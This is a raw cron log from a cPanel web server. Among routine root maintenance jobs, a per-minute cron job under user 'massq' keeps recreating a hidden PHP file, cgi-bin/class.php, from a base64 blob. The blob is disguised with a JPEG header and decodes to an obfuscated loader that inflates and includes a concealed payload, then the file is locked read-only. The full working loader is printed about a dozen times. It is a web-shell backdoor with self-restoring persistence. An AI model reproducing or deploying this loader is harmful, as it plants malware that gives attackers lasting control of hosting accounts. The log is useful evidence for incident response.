Sep  9 19:50:01 server CROND[15446]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:50:01 server CROND[15447]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 19:50:01 server CROND[15451]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 19:50:01 server CROND[15449]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:50:01 server CROND[15444]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 19:51:01 server CROND[16276]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:51:01 server CROND[16277]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:51:01 server CROND[16278]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 19:52:01 server CROND[16748]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:52:01 server CROND[16749]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 19:52:01 server CROND[16750]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:53:01 server CROND[17130]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:53:01 server CROND[17131]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:53:01 server CROND[17132]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 19:54:01 server CROND[17512]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:54:01 server CROND[17513]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 19:54:01 server CROND[17514]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:55:01 server CROND[17904]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 19:55:01 server CROND[17903]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:55:01 server CROND[17908]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 19:55:01 server CROND[17909]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:55:01 server CROND[17907]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 19:55:01 server CROND[17906]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 19:55:01 server CROND[17905]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 19:56:01 server CROND[18741]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 19:56:01 server CROND[18742]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:56:01 server CROND[18743]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:57:01 server CROND[19227]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 19:57:01 server CROND[19228]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:57:01 server CROND[19229]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:57:01 server CROND[19230]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 19:58:02 server CROND[19668]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:58:02 server CROND[19670]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:58:02 server CROND[19669]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 19:59:01 server CROND[20044]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:59:01 server CROND[20045]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 19:59:01 server CROND[20046]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:00:01 server CROND[20441]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 20:00:01 server CROND[20443]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  9 20:00:01 server CROND[20446]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 20:00:01 server CROND[20444]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 20:00:01 server CROND[20445]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 20:00:01 server CROND[20451]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  9 20:00:01 server CROND[20454]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:00:01 server CROND[20455]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 20:00:01 server CROND[20452]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 20:00:01 server CROND[20453]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:01:01 server CROND[21300]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:01:01 server CROND[21301]: (root) CMD (run-parts /etc/cron.hourly)
Sep  9 20:01:01 server CROND[21302]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:01:01 server CROND[21303]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
